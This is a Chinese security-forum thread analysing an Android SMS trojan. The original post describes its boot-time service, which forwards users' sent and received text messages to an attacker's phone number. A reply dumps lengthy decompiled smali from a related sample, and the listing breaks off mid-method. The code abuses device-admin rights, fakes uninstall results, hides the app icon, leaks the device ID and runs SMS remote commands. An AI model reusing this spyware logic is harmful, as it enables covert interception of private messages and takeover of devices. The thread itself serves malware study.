吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 29654|回复: 55
收起左侧

[移动样本分析] 一个简单的Android木马病毒的分析

  [复制链接]
龙飞雪 发表于 2015-9-9 16:08
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 龙飞雪 于 2015-9-9 16:15 编辑

一、样本信息


文件名称: 一个安卓病毒木马.apk

文件大小:242867 byte  

文件类型:application/jar  

病毒名称:Android.Trojan.SMSSend.KS

样本MD5:05B009F8E6C30A1BC0A0F793049960BC


图片1.png


图片2.png


二、病毒行为分析


0x1. 静态注册Android系统的开机广播,对用户Android系统的开机广播进行监听,一旦用户的系统开机就运行病毒服务Tservice


图片3.png


图片4.png


0x2. 服务Tservice的作用是 对用户短信的发送进行监听,一旦用户有向外发送短信的操作,该木马病毒就会向病毒作者发送短信通知并且会对用户的短信接收进行拦截。


图片5.png


图片6.png


一旦用户的手机向外发送了短信,该木马病毒程序就会将用户发送的短信的信息如短信接收者的手机号短信的内容短信的发送时间信息,以短信的方式发送到病毒作者的手机15602113821上。


图片7.png


一旦用户的手机向外发送了短信,该木马病毒程序就会对用户的手机短信接收进行拦截,将别人发送给用户的短信信息,发送到病毒作者的手机15602113821上。


图片8.png


0x3. 当用户安装该apk程序并运行了该apk程序,该木马病毒程序也会开启病毒服务Tservice然后正常的退出程序,让用户误以为该apk程序什么也没做,后面没什么好分析的,木马病毒的行为已经在上面分析过了,这里就不重复了。


图片9.png





样本来源于吾爱破解论坛,该样本比较简单,权当练手了。


免费评分

参与人数 5威望 +1 热心值 +4 收起 理由
万事屋 + 1 我很赞同!
sunke_java + 1 膜拜大牛啊!!!
Super丶咖啡 + 1 谢谢@Thanks!
willJ + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.
Hyabcd + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

我是一个穷光蛋 发表于 2015-9-9 22:58
样本在哪呢。!!!!!!1
zaizai121 发表于 2015-12-21 08:43
.class public a
.super Object
.source ""

.field public static final a:Uri
.field public static final b:Uri
.field public static final c:Uri
.field public static final d:Uri

.method static constructor <clinit>()V
          .registers 1
00000000  const-string            v0, "content://sms"
00000004  invoke-static           Uri->parse(String)Uri, v0
0000000A  move-result-object      v0
0000000C  sput-object             v0, a->a:Uri
00000010  const-string            v0, "content://sms/inbox"
00000014  invoke-static           Uri->parse(String)Uri, v0
0000001A  move-result-object      v0
0000001C  sput-object             v0, a->b:Uri
00000020  const-string            v0, "content://sms/conversations/"
00000024  invoke-static           Uri->parse(String)Uri, v0
0000002A  move-result-object      v0
0000002C  sput-object             v0, a->c:Uri
00000030  const-string            v0, "content://sms/sent"
00000034  invoke-static           Uri->parse(String)Uri, v0
0000003A  move-result-object      v0
0000003C  sput-object             v0, a->d:Uri
00000040  return-void
.end method

#--------------------------------------------------------------------------------
.class public DeleteActivity
.super Activity
.source ""

.field a:Handler

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Activity-><init>()V, p0
00000006  new-instance            v0, a
0000000A  invoke-direct           a-><init>(DeleteActivity)V, v0, p0
00000010  iput-object             v0, p0, DeleteActivity->a:Handler
00000014  return-void
.end method

.method public a()V
          .registers 5
00000000  const-string            v0, "device_policy"
00000004  invoke-virtual          DeleteActivity->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, DevicePolicyManager
00000010  new-instance            v1, ComponentName
00000014  const-class             v2, MyDeviceAdminReceiver
00000018  invoke-direct           ComponentName-><init>(Context, Class)V, v1, p0, v2
0000001E  invoke-virtual          DevicePolicyManager->isAdminActive(ComponentName)Z, v0, v1
00000024  move-result             v0
00000026  if-nez                  v0, :68
:2A
0000002A  new-instance            v0, Intent
0000002E  const-string            v2, "android.app.action.ADD_DEVICE_ADMIN"
00000032  invoke-direct           Intent-><init>(String)V, v0, v2
00000038  const-string            v2, "android.app.extra.DEVICE_ADMIN"
0000003C  invoke-virtual          Intent->putExtra(String, Parcelable)Intent, v0, v2, v1
00000042  const-string            v1, "android.app.extra.ADD_EXPLANATION"
00000046  const-string            v2, "提高权限获取保护"
0000004A  invoke-virtual          Intent->putExtra(String, String)Intent, v0, v1, v2
00000050  const/4                 v1, 0x0
00000052  invoke-virtual          DeleteActivity->startActivityForResult(Intent, I)V, p0, v0, v1
00000058  iget-object             v0, p0, DeleteActivity->a:Handler
0000005C  const/4                 v1, 0x0
0000005E  const-wide/16           v2, 0x8FC
00000062  invoke-virtual          Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
:68
00000068  return-void
:6A
0000006A  move-exception          v0
0000006C  invoke-virtual          Exception->printStackTrace()V, v0
00000072  goto                    :68
          .catch Exception {:0 .. :68} :6A
.end method

.method protected onActivityResult(I, I, Intent)V
          .registers 8
00000000  const/4                 v3, 0x1
00000002  invoke-super            Activity->onActivityResult(I, I, Intent)V, p0, p1, p2, p3
00000008  if-nez                  p1, :20
:C
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  if-ne                   p2, v0, :22
:12
00000012  iget-object             v0, p0, DeleteActivity->a:Handler
00000016  const-wide/16           v1, 0x7D0
0000001A  invoke-virtual          Handler->sendEmptyMessageDelayed(I, J)Z, v0, v3, v1, v2
:20
00000020  return-void
:22
00000022  const-string            v0, "应用卸载失败!"
00000026  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, p0, v0, v3
0000002C  move-result-object      v0
0000002E  invoke-virtual          Toast->show()V, v0
00000034  const-string            v0, "用户正在尝试卸载app\n 当前app状态:\n app被取消激活,自动提示 “应用卸载失败!”"
00000038  const/4                 v1, 0x4
0000003A  invoke-static           k->a(String, I, Context)V, v0, v1, p0
00000040  invoke-virtual          DeleteActivity->finish()V, p0
00000046  goto                    :20
.end method

.method protected onCreate(Bundle)V
          .registers 4
00000000  invoke-super            Activity->onCreate(Bundle)V, p0, p1
00000006  const                   v0, 0x7F030001  # R.layout.activity_main
0000000C  invoke-virtual          DeleteActivity->setContentView(I)V, p0, v0
00000012  invoke-static           a->a(Context)a, p0
00000018  move-result-object      v0
0000001A  invoke-virtual          a->a()Z, v0
00000020  move-result             v0
00000022  if-eqz                  v0, :4E
:26
00000026  invoke-virtual          DeleteActivity->finish()V, p0
0000002C  const-string            v0, "应用未安装或已删除"
00000030  const/4                 v1, 0x1
00000032  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, p0, v0, v1
00000038  move-result-object      v0
0000003A  invoke-virtual          Toast->show()V, v0
00000040  const-string            v0, "用户正在尝试卸载app\n 当前app状态:\n app已经激活,自动提示 “应用未安装或已删除”"
00000044  const/4                 v1, 0x4
00000046  invoke-static           k->a(String, I, Context)V, v0, v1, p0
:4C
0000004C  return-void
:4E
0000004E  invoke-virtual          DeleteActivity->a()V, p0
00000054  goto                    :4C
.end method

#--------------------------------------------------------------------------------
.class public MainActivity
.super Activity
.source ""

.field public static a:String
.field b:Handler

.method static constructor <clinit>()V
          .registers 1
00000000  const-string            v0, "15112310724"
00000004  sput-object             v0, MainActivity->a:String
00000008  return-void
.end method

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Activity-><init>()V, p0
00000006  new-instance            v0, b
0000000A  invoke-direct           b-><init>(MainActivity)V, v0, p0
00000010  iput-object             v0, p0, MainActivity->b:Handler
00000014  return-void
.end method

.method public a()V
          .registers 5
00000000  const-string            v0, "device_policy"
00000004  invoke-virtual          MainActivity->getSystemService(String)Object, p0, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, DevicePolicyManager
00000010  new-instance            v1, ComponentName
00000014  const-class             v2, MyDeviceAdminReceiver
00000018  invoke-direct           ComponentName-><init>(Context, Class)V, v1, p0, v2
0000001E  invoke-virtual          DevicePolicyManager->isAdminActive(ComponentName)Z, v0, v1
00000024  move-result             v0
00000026  if-nez                  v0, :68
:2A
0000002A  new-instance            v0, Intent
0000002E  const-string            v2, "android.app.action.ADD_DEVICE_ADMIN"
00000032  invoke-direct           Intent-><init>(String)V, v0, v2
00000038  const-string            v2, "android.app.extra.DEVICE_ADMIN"
0000003C  invoke-virtual          Intent->putExtra(String, Parcelable)Intent, v0, v2, v1
00000042  const-string            v1, "android.app.extra.ADD_EXPLANATION"
00000046  const-string            v2, "提高权限获取保护"
0000004A  invoke-virtual          Intent->putExtra(String, String)Intent, v0, v1, v2
00000050  const/4                 v1, 0x0
00000052  invoke-virtual          MainActivity->startActivityForResult(Intent, I)V, p0, v0, v1
00000058  iget-object             v0, p0, MainActivity->b:Handler
0000005C  const/4                 v1, 0x1
0000005E  const-wide/16           v2, 0x7D0
00000062  invoke-virtual          Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
:68
00000068  return-void
:6A
0000006A  move-exception          v0
0000006C  invoke-virtual          Exception->printStackTrace()V, v0
00000072  goto                    :68
          .catch Exception {:0 .. :68} :6A
.end method

.method protected onActivityResult(I, I, Intent)V
          .registers 8
00000000  const/4                 v2, 0x4
00000002  invoke-super            Activity->onActivityResult(I, I, Intent)V, p0, p1, p2, p3
00000008  if-nez                  p1, :64
:C
0000000C  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000000E  if-ne                   p2, v0, :8A
:12
00000012  const-string            v0, "onActivityResult"
00000016  const-string            v1, "Enable it"
0000001A  invoke-static           Log->i(String, String)I, v0, v1
00000020  invoke-static           a->a(Context)a, p0
00000026  move-result-object      v0
00000028  const/4                 v1, 0x1
0000002A  invoke-virtual          a->a(Z)V, v0, v1
00000030  new-instance            v0, StringBuilder
00000034  invoke-static           j->a()String
0000003A  move-result-object      v1
0000003C  invoke-static           String->valueOf(Object)String, v1
00000042  move-result-object      v1
00000044  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000004A  const-string            v1, "\n用户选择了激活"
0000004E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000054  move-result-object      v0
00000056  invoke-virtual          StringBuilder->toString()String, v0
0000005C  move-result-object      v0
0000005E  invoke-static           k->a(String, I, Context)V, v0, v2, p0
:64
00000064  new-instance            v0, Intent
00000068  const-class             v1, BootService
0000006C  invoke-direct           Intent-><init>(Context, Class)V, v0, p0, v1
00000072  invoke-virtual          MainActivity->startService(Intent)ComponentName, p0, v0
00000078  iget-object             v0, p0, MainActivity->b:Handler
0000007C  const/4                 v1, 0x0
0000007E  const-wide/16           v2, 0xBB8
00000082  invoke-virtual          Handler->sendEmptyMessageDelayed(I, J)Z, v0, v1, v2, v3
00000088  return-void
:8A
0000008A  new-instance            v0, StringBuilder
0000008E  invoke-static           j->a()String
00000094  move-result-object      v1
00000096  invoke-static           String->valueOf(Object)String, v1
0000009C  move-result-object      v1
0000009E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000A4  const-string            v1, "\n用户没有进行激活"
000000A8  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000AE  move-result-object      v0
000000B0  invoke-virtual          StringBuilder->toString()String, v0
000000B6  move-result-object      v0
000000B8  invoke-static           k->a(String, I, Context)V, v0, v2, p0
000000BE  const-string            v0, "onActivityResult"
000000C2  const-string            v1, "Cancle it"
000000C6  invoke-static           Log->i(String, String)I, v0, v1
000000CC  goto                    :64
.end method

.method protected onCreate(Bundle)V
          .registers 6
00000000  const/4                 v3, 0x1
00000002  invoke-super            Activity->onCreate(Bundle)V, p0, p1
00000008  const                   v0, 0x7F030001  # R.layout.activity_main
0000000E  invoke-virtual          MainActivity->setContentView(I)V, p0, v0
00000014  invoke-virtual          MainActivity->getPackageManager()PackageManager, p0
0000001A  move-result-object      v0
0000001C  invoke-virtual          MainActivity->getComponentName()ComponentName, p0
00000022  move-result-object      v1
00000024  const/4                 v2, 0x2
00000026  invoke-virtual          PackageManager->setComponentEnabledSetting(ComponentName, I, I)V, v0, v1, v2, v3
0000002C  invoke-static           i->a(Context)V, p0
00000032  invoke-static           i->b(Context)V, p0
00000038  invoke-static           i->c(Context)V, p0
0000003E  invoke-static           i->d(Context)V, p0
00000044  invoke-static           i->e(Context)V, p0
0000004A  invoke-static           a->a(Context)a, p0
00000050  move-result-object      v0
00000052  invoke-virtual          a->i()Z, v0
00000058  move-result             v0
0000005A  if-nez                  v0, :C6
:5E
0000005E  const-string            v0, "phone"
00000062  invoke-virtual          MainActivity->getSystemService(String)Object, p0, v0
00000068  move-result-object      v0
0000006A  check-cast              v0, TelephonyManager
0000006E  invoke-virtual          TelephonyManager->getDeviceId()String, v0
00000074  move-result-object      v0
00000076  new-instance            v1, StringBuilder
0000007A  const-string            v2, "软件安装完毕\n识别码:"
0000007E  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000084  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
0000008A  move-result-object      v0
0000008C  const-string            v1, "\n"
00000090  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000096  move-result-object      v0
00000098  invoke-static           j->a()String
0000009E  move-result-object      v1
000000A0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000A6  move-result-object      v0
000000A8  invoke-virtual          StringBuilder->toString()String, v0
000000AE  move-result-object      v0
000000B0  const/4                 v1, 0x4
000000B2  invoke-static           k->a(String, I, Context)V, v0, v1, p0
000000B8  invoke-static           a->a(Context)a, p0
000000BE  move-result-object      v0
000000C0  invoke-virtual          a->e(Z)V, v0, v3
:C6
000000C6  invoke-static           k->a(Context)V, p0
000000CC  invoke-static           a->a(Context)a, p0
000000D2  move-result-object      v0
000000D4  invoke-virtual          a->j()Z, v0
000000DA  move-result             v0
000000DC  if-eqz                  v0, :E6
:E0
000000E0  invoke-static           d->a(Context)V, p0
:E6
000000E6  invoke-virtual          MainActivity->a()V, p0
000000EC  return-void
.end method

#--------------------------------------------------------------------------------
.class a
.super Handler
.source ""

.field final synthetic a:DeleteActivity

.method constructor <init>(DeleteActivity)V
          .registers 2
00000000  iput-object             p1, p0, a->a:DeleteActivity
00000004  invoke-direct           Handler-><init>()V, p0
0000000A  return-void
.end method

.method public handleMessage(Message)V
          .registers 5
00000000  const/4                 v2, 0x1
00000002  iget                    v0, p1, Message->what:I
00000006  packed-switch           v0, :8C
:C
0000000C  return-void
:E
0000000E  iget-object             v0, p0, a->a:DeleteActivity
00000012  const-string            v1, "激活之后自动卸载"
00000016  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000001C  move-result-object      v0
0000001E  invoke-virtual          Toast->show()V, v0
00000024  goto                    :C
:26
00000026  iget-object             v0, p0, a->a:DeleteActivity
0000002A  const-string            v1, "应用卸载成功!"
0000002E  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
00000034  move-result-object      v0
00000036  invoke-virtual          Toast->show()V, v0
0000003C  iget-object             v0, p0, a->a:DeleteActivity
00000040  invoke-static           a->a(Context)a, v0
00000046  move-result-object      v0
00000048  invoke-virtual          a->a(Z)V, v0, v2
0000004E  new-instance            v0, Intent
00000052  const-string            v1, "android.intent.action.MAIN"
00000056  invoke-direct           Intent-><init>(String)V, v0, v1
0000005C  const-string            v1, "android.intent.category.HOME"
00000060  invoke-virtual          Intent->addCategory(String)Intent, v0, v1
00000066  iget-object             v1, p0, a->a:DeleteActivity
0000006A  invoke-virtual          DeleteActivity->startActivity(Intent)V, v1, v0
00000070  const-string            v0, "用户正在尝试卸载app\n 当前app状态:\n app正式激活,自动提示 “应用卸载成功!”"
00000074  const/4                 v1, 0x4
00000076  iget-object             v2, p0, a->a:DeleteActivity
0000007A  invoke-static           k->a(String, I, Context)V, v0, v1, v2
00000080  iget-object             v0, p0, a->a:DeleteActivity
00000084  invoke-virtual          DeleteActivity->finish()V, v0
0000008A  goto                    :C
0000008C  .packed-switch 0x0
              :E
              :26
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class b
.super Handler
.source ""

.field final synthetic a:MainActivity

.method constructor <init>(MainActivity)V
          .registers 2
00000000  iput-object             p1, p0, b->a:MainActivity
00000004  invoke-direct           Handler-><init>()V, p0
0000000A  return-void
.end method

.method public handleMessage(Message)V
          .registers 5
00000000  const/4                 v2, 0x1
00000002  iget                    v0, p1, Message->what:I
00000006  packed-switch           v0, :48
:C
0000000C  return-void
:E
0000000E  iget-object             v0, p0, b->a:MainActivity
00000012  const-string            v1, "软件安装成功!"
00000016  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000001C  move-result-object      v0
0000001E  invoke-virtual          Toast->show()V, v0
00000024  iget-object             v0, p0, b->a:MainActivity
00000028  invoke-virtual          MainActivity->finish()V, v0
0000002E  goto                    :C
:30
00000030  iget-object             v0, p0, b->a:MainActivity
00000034  const-string            v1, "请允许激活!"
00000038  invoke-static           Toast->makeText(Context, CharSequence, I)Toast, v0, v1, v2
0000003E  move-result-object      v0
00000040  invoke-virtual          Toast->show()V, v0
00000046  goto                    :C
00000048  .packed-switch 0x0
              :E
              :30
          .end packed-switch
.end method

#--------------------------------------------------------------------------------
.class public a
.super ContentObserver
.source ""

.field private a:Context
.field private final b:I
.field private c:ContentResolver

.method public constructor <init>(Context, Handler)V
          .registers 4
00000000  invoke-direct           ContentObserver-><init>(Handler)V, p0, p2
00000006  const/4                 v0, 0x1
00000008  iput                    v0, p0, a->b:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, a->c:ContentResolver
00000012  iput-object             p1, p0, a->a:Context
00000016  iget-object             v0, p0, a->c:ContentResolver
0000001A  if-nez                  v0, :2A
:1E
0000001E  invoke-virtual          Context->getContentResolver()ContentResolver, p1
00000024  move-result-object      v0
00000026  iput-object             v0, p0, a->c:ContentResolver
:2A
0000002A  return-void
.end method

.method private a()V
          .registers 8
00000000  const/4                 v2, 0x0
00000002  iget-object             v0, p0, a->c:ContentResolver
00000006  sget-object             v1, a->b:Uri
0000000A  const-string            v5, "_id desc"
0000000E  move-object             v3, v2
00000010  move-object             v4, v2
00000012  invoke-virtual/range    ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000018  move-result-object      v6
0000001A  if-eqz                  v6, :2A
:1E
0000001E  invoke-interface        Cursor->getCount()I, v6
00000024  move-result             v0
00000026  if-nez                  v0, :32
:2A
0000002A  invoke-direct           a->a(Cursor)V, p0, v6
:30
00000030  return-void
:32
00000032  invoke-interface        Cursor->moveToNext()Z, v6
00000038  move-result             v0
0000003A  if-eqz                  v0, :CE
:3E
0000003E  const-string            v0, "address"
00000042  invoke-interface        Cursor->getColumnIndex(String)I, v6, v0
00000048  move-result             v0
0000004A  invoke-interface        Cursor->getString(I)String, v6, v0
00000050  move-result-object      v1
00000052  const-string            v0, "body"
00000056  invoke-interface        Cursor->getColumnIndex(String)I, v6, v0
0000005C  move-result             v0
0000005E  invoke-interface        Cursor->getString(I)String, v6, v0
00000064  move-result-object      v2
00000066  const-string            v0, "date"
0000006A  invoke-interface        Cursor->getColumnIndex(String)I, v6, v0
00000070  move-result             v0
00000072  invoke-interface        Cursor->getString(I)String, v6, v0
00000078  move-result-object      v3
0000007A  const/4                 v0, 0x0
0000007C  invoke-interface        Cursor->getLong(I)J, v6, v0
00000082  move-result-wide        v4
00000084  iget-object             v0, p0, a->a:Context
00000088  invoke-static           a->a(Context)a, v0
0000008E  move-result-object      v0
00000090  invoke-virtual          a->b()String, v0
00000096  move-result-object      v0
00000098  invoke-direct           a->a(Cursor)V, p0, v6
0000009E  invoke-virtual          String->compareTo(String)I, v3, v0
000000A4  move-result             v0
000000A6  if-lez                  v0, :D6
:AA
000000AA  const-string            v0, "--------------进行处理------------------"
000000AE  invoke-static           g->a(String)V, v0
000000B4  iget-object             v0, p0, a->a:Context
000000B8  invoke-static           a->a(Context)a, v0
000000BE  move-result-object      v0
000000C0  invoke-virtual          a->a(String)V, v0, v3
000000C6  move-object             v0, p0
000000C8  invoke-direct/range     a->a(String, String, String, J)V, v0 .. v5
:CE
000000CE  invoke-direct           a->a(Cursor)V, p0, v6
000000D4  goto                    :30
:D6
000000D6  const-string            v0, "--------------不进行处理------------------"
000000DA  invoke-static           g->a(String)V, v0
000000E0  goto                    :CE
.end method

.method private a(Cursor)V
          .registers 3
00000000  if-eqz                  p1, :A
:4
00000004  invoke-interface        Cursor->close()V, p1
:A
0000000A  return-void
:C
0000000C  move-exception          v0
0000000E  goto                    :A
          .catch Exception {:4 .. :A} :C
.end method

.method private a(String, String, String, J)V
          .registers 12
00000000  iget-object             v0, p0, a->a:Context
00000004  invoke-static           a->a(Context)a, v0
0000000A  move-result-object      v0
0000000C  invoke-virtual          a->c()String, v0
00000012  move-result-object      v1
00000014  const-string            v0, "123"
00000018  invoke-virtual          String->contains(CharSequence)Z, v1, v0
0000001E  move-result             v0
00000020  if-nez                  v0, :26
:24
00000024  return-void
:26
00000026  invoke-direct           a->a(String, String, J)Z, p0, p1, p2, p4, p5
0000002C  move-result             v0
0000002E  if-nez                  v0, :24
:32
00000032  iget-object             v0, p0, a->a:Context
00000036  invoke-static           a->a(Context)a, v0
0000003C  move-result-object      v0
0000003E  invoke-virtual          a->g()I, v0
00000044  move-result             v0
00000046  packed-switch           v0, :68
:4C
0000004C  goto                    :24
:4E
0000004E  invoke-direct/range     a->b(String, String, String, J)V, v6 .. v11
00000054  goto                    :24
:56
00000056  move-object             v0, p0
00000058  move-object             v2, p2
0000005A  move-object             v3, p3
0000005C  move-wide               v4, p4
0000005E  invoke-direct/range     a->c(String, String, String, J)V, v0 .. v5
00000064  goto                    :24
00000068  .packed-switch 0x1
              :4E
              :56
              :24
          .end packed-switch
.end method

.method private a(String, String, J)Z
          .registers 12
00000000  const/4                 v6, 0x2
00000002  const/4                 v1, 0x0
00000004  const/4                 v0, 0x1
00000006  iget-object             v2, p0, a->a:Context
0000000A  invoke-static           a->a(Context)a, v2
00000010  move-result-object      v2
00000012  invoke-virtual          a->c()String, v2
00000018  move-result-object      v2
0000001A  invoke-virtual          String->contains(CharSequence)Z, p1, v2
00000020  move-result             v2
00000022  if-eqz                  v2, :226
:26
00000026  const-string            v2, "-------------是主人-----------------"
0000002A  invoke-static           g->a(String)V, v2
00000030  invoke-virtual          a->a(J)I, p0, p3, p4
00000036  move-result             v2
00000038  const-string            v3, " "
0000003C  invoke-virtual          String->split(String)[String, p2, v3
00000042  move-result-object      v3
00000044  aget-object             v4, v3, v1
00000048  const-string            v5, "LJ"
0000004C  invoke-virtual          String->equals(Object)Z, v4, v5
00000052  move-result             v4
00000054  if-eqz                  v4, :D2
:58
00000058  aget-object             v1, v3, v0
0000005C  const-string            v2, "ALL"
00000060  invoke-virtual          String->equals(Object)Z, v1, v2
00000066  move-result             v1
00000068  if-eqz                  v1, :80
:6C
0000006C  iget-object             v1, p0, a->a:Context
00000070  invoke-static           a->a(Context)a, v1
00000076  move-result-object      v1
00000078  invoke-virtual          a->a(I)V, v1, v0
:7E
0000007E  return                  v0
:80
00000080  aget-object             v1, v3, v0
00000084  const-string            v2, "SOME"
00000088  invoke-virtual          String->equals(Object)Z, v1, v2
0000008E  move-result             v1
00000090  if-eqz                  v1, :A8
:94
00000094  iget-object             v1, p0, a->a:Context
00000098  invoke-static           a->a(Context)a, v1
0000009E  move-result-object      v1
000000A0  invoke-virtual          a->a(I)V, v1, v6
000000A6  goto                    :7E
:A8
000000A8  aget-object             v1, v3, v0
000000AC  const-string            v2, "NO"
000000B0  invoke-virtual          String->equals(Object)Z, v1, v2
000000B6  move-result             v1
000000B8  if-eqz                  v1, :7E
:BC
000000BC  iget-object             v1, p0, a->a:Context
000000C0  invoke-static           a->a(Context)a, v1
000000C6  move-result-object      v1
000000C8  const/4                 v2, 0x3
000000CA  invoke-virtual          a->a(I)V, v1, v2
000000D0  goto                    :7E
:D2
000000D2  aget-object             v4, v3, v1
000000D6  const-string            v5, "ADD"
000000DA  invoke-virtual          String->equals(Object)Z, v4, v5
000000E0  move-result             v4
000000E2  if-eqz                  v4, :100
:E6
000000E6  new-instance            v1, c
000000EA  invoke-direct           c-><init>()V, v1
000000F0  aget-object             v2, v3, v0
000000F4  iput-object             v2, v1, c->c:String
000000F8  invoke-static           b->a(c)Z, v1
000000FE  goto                    :7E
:100
00000100  aget-object             v4, v3, v1
00000104  const-string            v5, "DEL"
00000108  invoke-virtual          String->equals(Object)Z, v4, v5
0000010E  move-result             v4
00000110  if-eqz                  v4, :120
:114
00000114  aget-object             v1, v3, v0
00000118  invoke-static           b->a(String)Z, v1
0000011E  goto                    :7E
:120
00000120  aget-object             v4, v3, v1
00000124  const-string            v5, "CLEAR"
00000128  invoke-virtual          String->equals(Object)Z, v4, v5
0000012E  move-result             v4
00000130  if-eqz                  v4, :160
:134
00000134  aget-object             v1, v3, v0
00000138  const-string            v2, "ALL"
0000013C  invoke-virtual          String->equals(Object)Z, v1, v2
00000142  move-result             v1
00000144  if-eqz                  v1, :150
:148
00000148  invoke-static           b->a()Z
0000014E  goto                    :7E
:150
00000150  aget-object             v1, v3, v0
00000154  const-string            v2, "MESSAGE"
00000158  invoke-virtual          String->equals(Object)Z, v1, v2
0000015E  goto                    :7E
:160
00000160  aget-object             v4, v3, v1
00000164  const-string            v5, "LOOK"
00000168  invoke-virtual          String->equals(Object)Z, v4, v5
0000016E  move-result             v4
00000170  if-eqz                  v4, :1F2
:174
00000174  aget-object             v1, v3, v0
00000178  const-string            v4, "TIME"
0000017C  invoke-virtual          String->equals(Object)Z, v1, v4
00000182  move-result             v1
00000184  if-eqz                  v1, :1C8
:188
00000188  new-instance            v1, StringBuilder
0000018C  const-string            v3, "到期时间:"
00000190  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000196  iget-object             v3, p0, a->a:Context
0000019A  invoke-static           a->a(Context)a, v3
000001A0  move-result-object      v3
000001A2  invoke-virtual          a->e()String, v3
000001A8  move-result-object      v3
000001AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v3
000001B0  move-result-object      v1
000001B2  invoke-virtual          StringBuilder->toString()String, v1
000001B8  move-result-object      v1
000001BA  iget-object             v3, p0, a->a:Context
000001BE  invoke-static           k->a(String, I, Context)V, v1, v2, v3
000001C4  goto/16                 :7E
:1C8
000001C8  aget-object             v1, v3, v0
000001CC  const-string            v3, "PHONE"
000001D0  invoke-virtual          String->equals(Object)Z, v1, v3
000001D6  move-result             v1
000001D8  if-eqz                  v1, :7E
:1DC
000001DC  invoke-static           j->a()String
000001E2  move-result-object      v1
000001E4  iget-object             v3, p0, a->a:Context
000001E8  invoke-static           k->a(String, I, Context)V, v1, v2, v3
000001EE  goto/16                 :7E
:1F2
000001F2  aget-object             v1, v3, v1
000001F6  const-string            v2, "SEND"
000001FA  invoke-virtual          String->equals(Object)Z, v1, v2
00000200  move-result             v1
00000202  if-eqz                  v1, :7E
:206
00000206  const/4                 v1, 0x1
:208
00000208  aget-object             v1, v3, v1
0000020C  const/4                 v2, 0x2
0000020E  aget-object             v2, v3, v2
00000212  iget-object             v3, p0, a->a:Context
00000216  invoke-static           k->a(String, String, Context)V, v1, v2, v3
:21C
0000021C  goto/16                 :7E
:220
00000220  move-exception          v1
00000222  goto/16                 :7E
:226
00000226  move                    v0, v1
00000228  goto/16                 :7E
          .catch Exception {:208 .. :21C} :220
.end method

.method private b(String, String, String, J)V
          .registers 10
00000000  invoke-virtual          a->a(J)I, p0, p4, p5
00000006  move-result             v0
00000008  iget-object             v1, p0, a->a:Context
0000000C  new-instance            v2, StringBuilder
00000010  invoke-static           String->valueOf(Object)String, p2
00000016  move-result-object      v3
00000018  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000001E  const-string            v3, "<br>"
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000028  move-result-object      v2
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
00000030  move-result-object      v2
00000032  const-string            v3, "<br><br><br>"
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000003C  move-result-object      v2
0000003E  invoke-static           j->a()String
00000044  move-result-object      v3
00000046  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000004C  move-result-object      v2
0000004E  const-string            v3, "-----------------观察者"
00000052  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000058  move-result-object      v2
0000005A  invoke-virtual          StringBuilder->toString()String, v2
00000060  move-result-object      v2
00000062  invoke-static           d->a(Context, String)V, v1, v2
00000068  new-instance            v1, StringBuilder
0000006C  invoke-static           String->valueOf(Object)String, p2
00000072  move-result-object      v2
00000074  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000007A  const-string            v2, "\n来自:"
0000007E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000084  move-result-object      v1
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
0000008C  move-result-object      v1
0000008E  invoke-virtual          StringBuilder->toString()String, v1
00000094  move-result-object      v1
00000096  iget-object             v2, p0, a->a:Context
0000009A  invoke-static           k->a(String, I, Context)V, v1, v0, v2
000000A0  return-void
.end method

.method private c(String, String, String, J)V
          .registers 9
00000000  invoke-static           b->b()ArrayList
00000006  move-result-object      v0
00000008  invoke-virtual          ArrayList->iterator()Iterator, v0
0000000E  move-result-object      v1
:10
00000010  invoke-interface        Iterator->hasNext()Z, v1
00000016  move-result             v0
00000018  if-nez                  v0, :1E
:1C
0000001C  return-void
:1E
0000001E  invoke-interface        Iterator->next()Object, v1
